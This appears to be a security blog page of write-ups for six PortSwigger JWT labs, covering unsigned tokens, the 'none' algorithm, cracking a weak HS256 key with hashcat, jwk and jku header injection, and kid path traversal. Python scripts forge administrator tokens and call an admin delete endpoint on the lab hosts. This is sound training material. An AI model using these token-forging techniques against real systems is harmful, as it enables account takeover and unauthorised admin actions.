SecJournal
  • 👋Welcome
    • SecJournal
    • About Me
  • 👨‍💻Blogs
    • My Blogs
      • Malware
        • Fake WinRAR 0-Day
        • Github 0 Days
      • Scams
        • Social Engineering
        • May Chong
        • Liu Hongtian
        • Packing Green
        • Richard Spindler
        • Ukraine
        • Coalition Tech
        • Telegram Customer Service
      • Exploits
      • Random
        • Upgrade Shells
    • Course Reviews
      • OSCP / PEN-200 Review
      • Certified Red Team Operator (CRTO) Review
      • Certified Red Team Expert (CRTE) Review
      • OSWE / WEB-300 Review
      • OSED / EXP-301 Review
  • 🔐What is Security
    • Information Security
    • Getting Started
      • CTFs
      • Hacking
  • 🖱️Website Security
    • Disclosed Bugs
      • Dutch Government
      • Algolia API Misconfiguration
    • Web
      • MVC Framework
    • SQL Injection
      • Portswigger Labs
    • Access Control
      • Portswigger Labs
    • Authentication Bypass
      • Portswigger Labs
    • Business Logic
      • Portswigger Labs
    • Information Disclosure
      • Portswigger Labs
    • Directory Traversal
      • Portswigger Labs
    • Command Injection
      • Portswigger Labs
    • File Upload Vulnerabilities
      • Portswigger Labs
    • Server-Side Request Forgery
      • Portswigger Labs
    • Cross-Origin Resource Sharing
      • Portswigger Labs
    • Cross-Site Request Forgery
      • Portswigger Labs
    • Cross-Site Scripting
      • Portswigger XSS Labs
      • Portswigger DOM-XSS Labs
    • JSON Web Tokens
      • Portswigger Labs
    • API Testing
      • Portswigger Labs
    • WebSockets
      • Portswigger Labs
    • Deserialization
      • Portswigger Labs
    • Prototype Pollution
      • Portswigger Labs
    • Server-Side Template Injection
      • Portswigger Labs
    • XXE Injection
      • Portswigger Labs
    • Web Cache Poisoning
      • Portswigger Labs
    • HTTP Request Smuggling
      • Portswigger Labs
    • OAuth Authentication
      • Portswigger Labs
  • 👀Buffer Overflows
    • Buffer Overflows
      • System Architecture
      • Compilers, Assemblers, Debuggers and Decompilers
      • Binary Security
      • Address Manipulation
    • OSCP BOF (OUTDATED)
    • Ret2Libc
    • ROP Chaining
    • Canary Bypass
    • ASLR Bypass
  • 🖥️Active Directory
    • Active Directory
    • Tools
    • Windows Authentication
    • Kerberos
      • Delegation
      • Attacking Kerberos
    • ACLs and GPOs
      • Abusing ACLs and GPOs
    • LDAP
  • ✍️Writeups
    • HTB Season 3
      • Analytics
      • Appsanity
      • Codify
      • Devvortex
      • Drive
      • Hospital
      • Manager
      • Napper
      • Surveillance
      • Visual
    • HTB Season 2
      • Authority
      • Bookworm
      • Cozyhosting
      • Cybermonday
      • Download
      • Gofer
      • Intentions
      • Keeper
      • Pilgrimage
      • Rebound
      • RegistryTwo
      • Sandworm
      • Sau
      • Zipping
    • HTB Season 1
      • Agile
      • Busqueda
      • Cerberus
      • Coder
      • Format
      • Inject
      • Mailroom
      • MonitorsTwo
      • OnlyForYou
      • PC
      • Socket
      • Snoopy
    • HackTheBox
      • Easy
        • Academy
        • Access
        • Active
        • Admirer
        • Antique
        • Arctic
        • Armageddon
        • Backdoor
        • Bank
        • Bashed
        • Bastion
        • Blue
        • Blocky
        • Blunder
        • Bounty
        • Broker
        • Buff
        • Curling
        • Doctor
        • Driver
        • Explore
        • Forest
        • FriendZone
        • Frolic
        • GoodGames
        • Granny
        • Heist
        • Help
        • Horizontall
        • Irked
        • Jerry
        • Knife
        • Laboratory
        • Legacy
        • Luanne
        • Love
        • Mirai
        • MetaTwo
        • Nest
        • Netmon
        • Networked
        • Nibbles
        • NodeBlog
        • Omni
        • OpenAdmin
        • OpenSource
        • Optimum
        • Paper
        • Pandora
        • Photobomb
        • Postman
        • Precious
        • Previse
        • RedPanda
        • Remote
        • Return
        • RouterSpace
        • Sauna
        • ScriptKiddie
        • Secret
        • Sense
        • Servmon
        • Shoppy
        • Support
        • Soccer
        • Spectra
        • Squashed
        • SteamCloud
        • Stocker
        • SwagShop
        • Tabby
        • Timelapse
        • Toolbox
        • Topology
        • Traceback
        • Trick
        • TwoMillion
        • Valentine
        • Validation
        • Wifinetic
        • Writeup
      • Medium
        • Ambassador
        • Arkham
        • Atom
        • Backend
        • BackendTwo
        • Bagel
        • Bart
        • Bastard
        • Book
        • BroScience
        • Bucket
        • Cache
        • Canape
        • Cascade
        • Catch
        • Chaos
        • Chatterbox
        • Clicker
        • Cronos
        • Devoops
        • dynstr
        • Encoding
        • Epsilon
        • Escape
        • Faculty
        • Forge
        • Forgot
        • Fuse
        • Giddy
        • Haircut
        • Hawk
        • Intelligence
        • Interface
        • Investigation
        • Jeeves
        • Json
        • Jupiter
        • Lazy
        • Lightweight
        • Magic
        • Mentor
        • Meta
        • Monteverde
        • Nineveh
        • Noter
        • Obscurity
        • October
        • Ophiuchi
        • Outdated
        • Passage
        • Pit
        • Poison
        • Popcorn
        • Querier
        • Ransom
        • Resolute
        • Retired
        • Schooled
        • Scrambled
        • Shared
        • Shibboleth
        • Silo
        • SolidState
        • StreamIO
        • TartarSauce
        • Tenet
        • TheNotebook
        • Time
        • Unattended
        • Undetected
        • Unicode
        • Union
        • UpDown
        • Vault
      • Hard
        • Acute
        • Blackfield
        • BreadCrumbs
        • CarpeDiem
        • Extension
        • Falafel
        • Flight
        • Holiday
        • Kotarak
        • Mantis
        • Monitors
        • Object
        • Oouch
        • Pikaboo
        • Pollution
        • Quick
        • RainyDay
        • Reel
        • Registry
        • Search
        • Seventeen
        • Talkative
        • Unobtainium
        • Vessel
        • Zipper
      • Insane
        • Absolute
        • Anubis
        • APT
        • BrainFuck
        • CrossFit
        • Derailed
        • Fighter
        • Fulcrum
        • Hathor
        • Multimaster
        • pivotapi
        • Sekhmet
        • Sink
        • Sizzle
        • Stacked
    • Proving Grounds Practice
      • Windows
        • Access
        • Algernon
        • AuthBy
        • BillyBoss
        • Butch
        • Craft
        • Craft2
        • DVR4
        • Heist
        • Helpdesk
        • Hutch
        • Internal
        • Jacko
        • Kevin
        • Medjed
        • Nickel
        • Resourced
        • Shenzi
        • Slort
        • Squid
        • Symbolic
        • Vault
        • Vector
      • Linux
        • Apex
        • BadCorp
        • Banzai
        • Blackgate
        • Bratarina
        • Breakout
        • BunyIP
        • Cassios
        • Catto
        • Charlotte
        • Chatty
        • ClamAV
        • Cobweb
        • CookieCutter
        • Deployer
        • Depreciated
        • Develop
        • Dibble
        • Escape
        • Exfiltrated
        • Exghost
        • Fail
        • Fantastic
        • Flasky
        • Forward
        • Hawat
        • Hetemit
        • Hunit
        • Illusion
        • Injecto
        • KeyVault
        • G00g
        • Malbec
        • Mantis
        • Maria
        • Matrimony
        • Megavolt
        • Muddy
        • Nappa
        • Nukem
        • Payday
        • Pebbles
        • Pelican
        • Peppo
        • Phobos
        • Postfish
        • PlanetExpress
        • QuackerJack
        • Readys
        • Reconstruction
        • Roquefort
        • Sirol
        • Shiftdel
        • Shifty
        • Snookums
        • Sona
        • Sorcerer
        • Spaghetti
        • Splodge
        • Surf
        • Sybaris
        • Synapse
        • Tico
        • Thor
        • Twiggy
        • UC404
        • VoIP
        • Walla
        • Wheels
        • XposedAPI
        • ZenPhoto
        • Zino
  • 🐍Evasion
    • Evasion
      • Windows Fundamentals
      • Detection
      • Malware Techniques
  • 🔺Adversary Emulation
    • Red Teaming
      • Adversary Emulation
Powered by GitBook
On this page
  • Lab 1: Unverified Signature
  • Lab 2: Flawed Signature Verification
  • Lab 3: Weak Signing Key
  • Lab 4: jwk Injection
  • Lab 5: jku Injection
  • Lab 6: kid Header Path Traversal
  1. Website Security
  2. JSON Web Tokens

Portswigger Labs

PreviousJSON Web TokensNextAPI Testing

Last updated 1 year ago

Lab 1: Unverified Signature

This lab fails to verify the signature of the JWT token. To solve the lab, delete carlos as the site admin.

When logged in as wiener, the first thing I observed was the JWT session cookie:

Here's the contents of the token:

I can abuse this by changing the middle portion of the cookie (payload). I changed the sub value from wiener to administrator, then base64 encoded it and placed it back in the cookie.

$ echo '{"iss":"portswigger","exp":1708789013,"sub":"administrator"}  ' |base64 
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcwODc4OTAxMywic3ViIjoiYWRtaW5pc3RyYXRvciJ9ICAK

Note that the usage of space characters was to remove the = characters that appeared. While not actually necessary, I thought it would make the value look cleaner.

I could then access the administrator account.

Afterwards, a request can be sent to /admin/delete?username=carlos to solve the lab.

Here's a little script I made to enumerate the cookie values, then solve the lab.

import requests
import re
import sys
import subprocess
import base64
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0aa3004303f362a682041b960040008c'
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()
csrf_r = requests.get(url + '/login', verify=False, proxies=proxies)
match = re.search(r'name="csrf" value="([0-9a-zA-z]+)', csrf_r.text)
csrf_token = match[1]
wiener_data = {
	'csrf':match[1],
	'username':'wiener',
	'password':'peter'
}

r = s.post(url + '/login', verify=False, proxies=proxies, data=wiener_data)
default_jwt = s.cookies['session']
values = default_jwt.split(".")

for v in values:
	command = f'echo {v} | base64 -d 2> /dev/null'
	result = subprocess.run(command, shell=True, capture_output=True).stdout
	print(result)

Lab 2: Flawed Signature Verification

To solve this lab, delete carlos as the administrator.

This lab said that it had a faulty signature verification, meaning I should be able to set the signature value to none and remove the signature.

This works because if there's no algorithm used, then there's no signature expected. Thus, it is a 'valid' cookie.

Here's the exploit script I used:

import requests
import re
import sys
import subprocess
import urllib.parse
import base64
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

HOST = '0aa3004303f362a682041b960040008c'
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = f'https://{HOST}.web-security-academy.net'
s = requests.Session()


csrf_r = requests.get(url + '/login', verify=False, proxies=proxies)
match = re.search('name="csrf" value="([0-9a-zA-z]+)', csrf_r.text)
csrf_token = match[1]
wiener_data = {
	'csrf':match[1],
	'username':'wiener',
	'password':'peter'
}

r = s.post(url + '/login', verify=False, proxies=proxies, data=wiener_data)
default_jwt = s.cookies['session']
values = default_jwt.split(".")

print('Cookie values are:')
for v in values:
	command = f'echo {v} | base64 -d 2> /dev/null'
	result = subprocess.run(command, shell=True, capture_output=True).stdout
	print(result)

print('Encoding new cookie...')
new_signature = '{"kid":"959f7574-9fbf-4e84-8f78-9ae820ff5236","alg":"none"}'.encode('ascii')
encoded_signature = base64.b64encode(new_signature).decode('ascii')
values[0] = encoded_signature

new_payload = '{"iss":"portswigger","exp":1708790745,"sub":"administrator"}'.encode('ascii')
encoded_payload = base64.b64encode(new_payload).decode('ascii')
values[1] = encoded_payload
values[2] = ''

new_cookie = ".".join(values)
new_cookie = urllib.parse.quote(new_cookie)
print('[+] New Cookie is: ' + new_cookie)

cookies = {
	'session':new_cookie
}

requests.get(url + '/admin/delete?username=carlos', cookies=cookies, proxies=proxies, verify=False)

Lab 3: Weak Signing Key

To solve lab, delete carlos as the administrator. This lab tells me that there is a weak signature key used for this, meaning it is brute-forceable.

To solve this lab, let's try to crack the JWT token using hashcat:

$ cat jwt.txt
eyJraWQiOiJiODhmNGEwYi1lOTU0LTQzMmQtYThjYS01MjIzMmRlNGQ5YmIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcwODc5MTI0Niwic3ViIjoid2llbmVyIn0.VU9-InVBknUg4LexZAhOCDahpM38VYvDYMBH4csbsGk

$ hashcat -m 16500 -a 0 jwt.txt /usr/share/wordlists/rockyou.txt

eyJraWQiOiJiODhmNGEwYi1lOTU0LTQzMmQtYThjYS01MjIzMmRlNGQ5YmIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcwODc5MTI0Niwic3ViIjoid2llbmVyIn0.VU9-InVBknUg4LexZAhOCDahpM38VYvDYMBH4csbsGk:secret1

So the secret used to encode this thing is secret1.

Using pyjwt, I can create a new JWT token.

payload = {"iss":"portswigger","exp":1708791246,"sub":"administrator"}
new_cookie = jwt.encode(payload, "secret1", algorithm="HS256")

cookies = {
	'session':new_cookie
}

requests.get(url + '/admin/delete?username=carlos', cookies=cookies, proxies=proxies, verify=False)

Note that the pyjwt library is only usable if I'm creating 'legit' tokens. All other funny exploit methods that involve deforming the token is easier exploited using base64 encoding directly (in my opinion).

Lab 4: jwk Injection

To solve this lab, delete carlos. This lab supports the jwk parameter in the JWT header. JWK stands for JSON Web Key, which is the set of keys used to verify the validity of JWT tokens.

Here's the contents of the cookie:

[+] Cookie values are:
b'{"kid":"124fee5c-e391-496e-ac66-b7f85f2c4c63","alg":"RS256"}'
b'{"iss":"portswigger","exp":1708791576,"sub":"wiener"}'

I noticed that this uses RS256, an asymmetric algorithm. Since the lab requires us to inject my own jwk header into the token, I can create a new key, sign the token, and then place my own public key there.

Using the JWT Editor extension for Burpsuite, I can generate a new set of keys:

Afterwards, I can head to any requests with the cookie value, and use the JSON Web Token tab.

Change the sub to administrator and use the "Embedded JWK" attack:

Sign the new token:

Afterwards, the cookie value changes to this absurdly long one:

When decoded, it gives this:

This can be scripted as usual. It's rather similar to the script in Lab 2 with base64 encoding, so I'm not going to bother.

Lab 5: jku Injection

To solve this lab, delete carlos as the administrator. I am given the exploit server. The jku header of a JWT token is a link to a valid JWKS.

Since I am given an exploit server, I can actually spoof this. After creating a new key pair in the JWT Editor, copy it JWK and store it on the exploit server like this:

{
    "keys": [
	{
		"kty": "RSA",
		"e": "AQAB",
		"kid": "b6eaab12-c0a8-4a04-a106-16f14393e224",
		"n": "yQ29FRF61MwnPV78oyGosARwe8YgHhtp8IvQIPwbzbTn4sdhgGAfL4tPgLNAGjFeQWEn6u3hEj4aI5sSBsWuti4W9G1TYC44dIWNF7d8RgiMKKChAvF2cLqh0OiccLe8FvGgCNKaE0fEx54bSdER9VYfEBqZVTztCXUCk5S-SE4Omvsj6bnpvQUzFZumw3-TB1TEaBnL04BquuhJttVsB2S4D9hwWZFenjSD0SdR6nYFo-I7boxRYPEImKPdpA6owfc2rv-VJRx9TxRthCaqtUH60neq-b0cvhVq7TafWN1AgJgTwtiGhNxsbj_YU_ar9u47I4MPu-ZG9QRL0nRkUQ"
	}
]
}

Afterwards, using JWT Editor, I can inject change the kid value within the JWT header, and also the user:

Afterwards, sign the token, then use it to send a GET request to /admin/delete?username=carlos.

Lab 6: kid Header Path Traversal

To solve this lab, delete carlos. There is a path traversal within the kid parameter, which allows us to fetch the key from the file system.

Just replace this value with ../../../../../../../dev/null. Afterwards, sign this key with a new symmetric key.

Since we effectively removed the kid value, there is an empty key that is used to sign the token. As such, our symmetric key has to be an empty string:

After signing the token and changing the username, delete carlos.

🖱️